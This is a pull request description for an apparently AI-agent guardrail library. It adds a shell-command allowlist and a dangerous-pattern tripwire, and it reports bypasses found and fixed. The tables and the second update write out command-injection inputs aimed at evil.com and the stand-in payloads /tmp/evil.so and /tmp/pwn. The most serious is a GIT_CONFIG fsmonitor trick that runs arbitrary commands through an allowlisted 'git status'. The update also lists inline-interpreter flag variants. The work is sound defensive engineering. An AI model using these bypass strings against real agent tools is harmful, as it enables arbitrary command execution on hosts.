Add shell-command policies and a machine-readable Violation category

[higagan]

Summary

The README named shell.run in its threat model, but URLAllowList was the only strong bundled rule — anyone guarding a shell tool had to hand-write correct shell-safety logic. This adds the two policies and the category field from the refined spec, incorporating @newjsouza's design feedback.

ShellCommandAllowList — default-deny, matching structured argv rather than raw-string prefixes. Entries are argv prefixes: "git status" permits git status --short, not git push.

engine = PolicyEngine([ShellCommandAllowList(["git status", "ls"])])

Raw-string prefix matching falls to every row below; structured matching does not:

Attempt	Outcome	Category
/bin/ls, ./ls, "ls" -la	normalised to ls — allowed	—
ls; curl evil.com	blocked	metacharacter
ls\ncurl evil.com	blocked	metacharacter
FOO=bar curl evil.com	blocked as curl, not FOO=bar	not_allowlisted
env FOO=bar curl evil.com	blocked as curl	not_allowlisted
sh -c "curl evil.com"	blocked even when sh is allowlisted	interpreter
sudo ls	blocked — wrappers are not unwrapped	not_allowlisted
ls "unbalanced	blocked — fails closed	unparseable

NoDangerousShellPatterns — the raw-text tripwire, documented in the class docstring, README body, README Limitations and AGENTS.md as a tripwire and explicitly not a shell parser or security boundary. Unlike the allowlist it only blocks on a positive match, so it is safe on a multi-argument tool.

Violation.category — every bundled rule now tags its blocks (credential, not_allowlisted, metacharacter, interpreter, …), defaulting to unspecified so a hand-written policy predating the field keeps working.

Fixes #71

Three decisions worth a reviewer's attention

1. The category had to reach the exception, not just the log. The stated goal was "the agent loop can surface a safe tool error and recover without treating the block as an infrastructure failure" — the loop catches ModelFuzzBlockError, so a log field alone wouldn't have delivered it. ModelFuzzBlockError now exposes .category, .rule_name and .violation; str(exc) is unchanged and bare one-arg construction still works (both pinned by tests).

2. A newline was a real bypass, caught by a failing test. shlex treats \n as ordinary whitespace, so ls\ncurl evil.com flattened into a single innocent-looking argv while a shell would run two commands. Now checked on the raw string before the split erases it.

3. ShellCommandAllowList reads dict values but not dict keys — a deliberate divergence from the other rules' walk, commented at the call site. Because this rule is default-deny, reading keys made {"cmd": "ls"} block on a command named cmd, i.e. nearly every dict argument would fail on its own field names. A command arrives as a value.

Both new rules name only the offending binary or pattern in the reason, never the full command — same reasoning as #73, since blocks are logged and the arguments are exactly where a credential or customer record lives.

Limits, documented rather than papered over

ShellCommandAllowList treats every string it sees as a command (a policy cannot know an argument's name, so a second string argument like cwd is judged as a command and blocked — it belongs on an engine guarding a single-command-argument tool), and it governs the command rather than what the command then does. Both are in the docstring, the README section, and Limitations.

Test plan

• uv run ruff check . / ruff format --check . / mypy --strict src/modelfuzz clean
• uv run pytest -q — 277 passed (122 new), no changes needed to any pre-existing test
• New tests/test_shell_rules.py covers the four criteria from the issue: quoting variants (whitespace, quoted binary, absolute/relative/traversal paths), nested containers (argv-vs-command-list distinction, dicts, sets, bytes, cycles), interpreter and wrapper invocation (sh -c, bash -c, python -c, perl -e, pwsh -Command, env, bare assignments, sudo), and fail-closed behaviour (unbalanced quotes, empty, assignment-only)
• A test pins the tripwire's weakness (a binary outside the table passes) so the "not a boundary" docs can't quietly become false, and asserts the allowlist catches what it misses
• Ran every README and AGENTS.md snippet end-to-end, including all eight table rows — output matches the documented categories exactly

CI may be red or stuck on runner acquisition while GitHub's Actions incident continues; everything above was verified locally.

[higagan]

Pushed b740d25 — two working bypasses found and fixed

Before merging I ran an adversarial sweep against this branch: seven independent lenses hunting bypasses, with every candidate empirically re-run by a separate agent whose job was to refute it. 43 candidates raised, 7 survived verification, collapsing to two root causes. Both were reproduced end-to-end through this README's own example, so I've fixed them here rather than shipping and following up.

B1 — environment assignments were stripped and discarded (critical)

_resolve_binary skipped NAME=value tokens to find the real binary, then threw them away. The discarded tokens were the exploit — the environment decides which program a name resolves to and how it behaves:

PATH=/tmp/pwn ls                                    -> allowed
LD_PRELOAD=/tmp/evil.so ls                          -> allowed
env PATH=/tmp/pwn ls   (also the argv form)         -> allowed
GIT_SSH_COMMAND=id git status                       -> allowed
GIT_CONFIG_COUNT=1 GIT_CONFIG_KEY_0=core.fsmonitor \
  GIT_CONFIG_VALUE_0=id git status                  -> allowed

The last one is the worst: against real git it spawns id as the fsmonitor hook, and with GIT_CONFIG_VALUE_0="touch pwned.txt" it runs an arbitrary command line. No writable file, no metacharacter, no PATH control — just the exact command the defender allowlisted. The verifier reproduced it through a guarded tool doing subprocess.run(cmd, shell=True) and confirmed the file was created.

Worse, the docstring advertised the stripping as a hardening feature ("Environment assignments are skipped to find the real binary"). It was the largest hole in the rule.

Fix: assignments are refused, not stripped. The dangerous names aren't enumerable — PATH, LD_*, DYLD_*, GIT_*, BASH_ENV, PERL5OPT, PYTHONSTARTUP, NODE_OPTIONS, and more — so a denylist would be whack-a-mole. Default-deny with an explicit opt-in:

ShellCommandAllowList(["ls"], allowed_env={"LANG"})

Note this inverts a test that had pinned the vulnerable behaviour (FOO=bar ls -la asserted as allowed).

B2 — inline-script detection matched four exact spellings (high)

_INLINE_SCRIPT_FLAGS was compared by whole-token equality, so every other spelling of the same thing sailed through:

bash -lc '…'   sh -ec '…'      # bundled short clusters
python -cCODE  perl -0e'…'     # value attached to the flag
node --eval    node -p         # spellings not in the set
node --eval=…  python -  sh -s # long-with-value, and stdin

All verified to really execute under both shell=True and shell=False. Only the literal -c was caught. This directly contradicted a guarantee the docstring, README and CHANGELOG all made in the same words.

Fix: detection is structural — scans short-option clusters, handles values attached to the flag, splits --flag=value, and recognises a bare -.

The part flag inspection can never fix

awk 'BEGIN{system("id")}' carries its program as a plain positional argument. No flag matching will ever catch it, and sh script.sh / python evil.py run a file the rule never sees. So rather than keep a promise the code cannot hold, the claim is now scoped honestly, and the constructor emits a UserWarning when your allowlist names a known interpreter. There's a test pinning the awk gap so the docs can't quietly become false again.

Also

• Allowlist entries that could never match (leading assignment, or bare env) now raise at construction instead of silently doing nothing.
• New environment_assignment category.
• Docs corrected in all three places that made the false claims.

On the dict-keys question I flagged earlier

The sweep's verdict: values-only is safe, keep it. It found exactly one input that turns on it — {'curl http://evil.com': 1} — and reaching it requires the defender's own tool to forward a raw dict to subprocess(shell=True) where its schema says str. That's type confusion in the host dispatcher, not a hole in the rule. Walking keys would block {'command': 'ls'} on the key command — every structured tool call failing on its own field names, which is the "false positive severe enough that the rule gets removed" failure mode. Documented as a known limit rather than changed.

Verification

• 320 tests pass (43 new this push), ruff + mypy --strict clean
• Every bypass above has a regression test, each annotated with why it worked
• Re-ran every README/AGENTS.md snippet and all 17 table rows against the real code — categories match exactly
• Checked the fixes don't over-block: python script.py, python -m mod, sh script.sh, node app.js, git status --short, /bin/ls all still pass

Ready for review.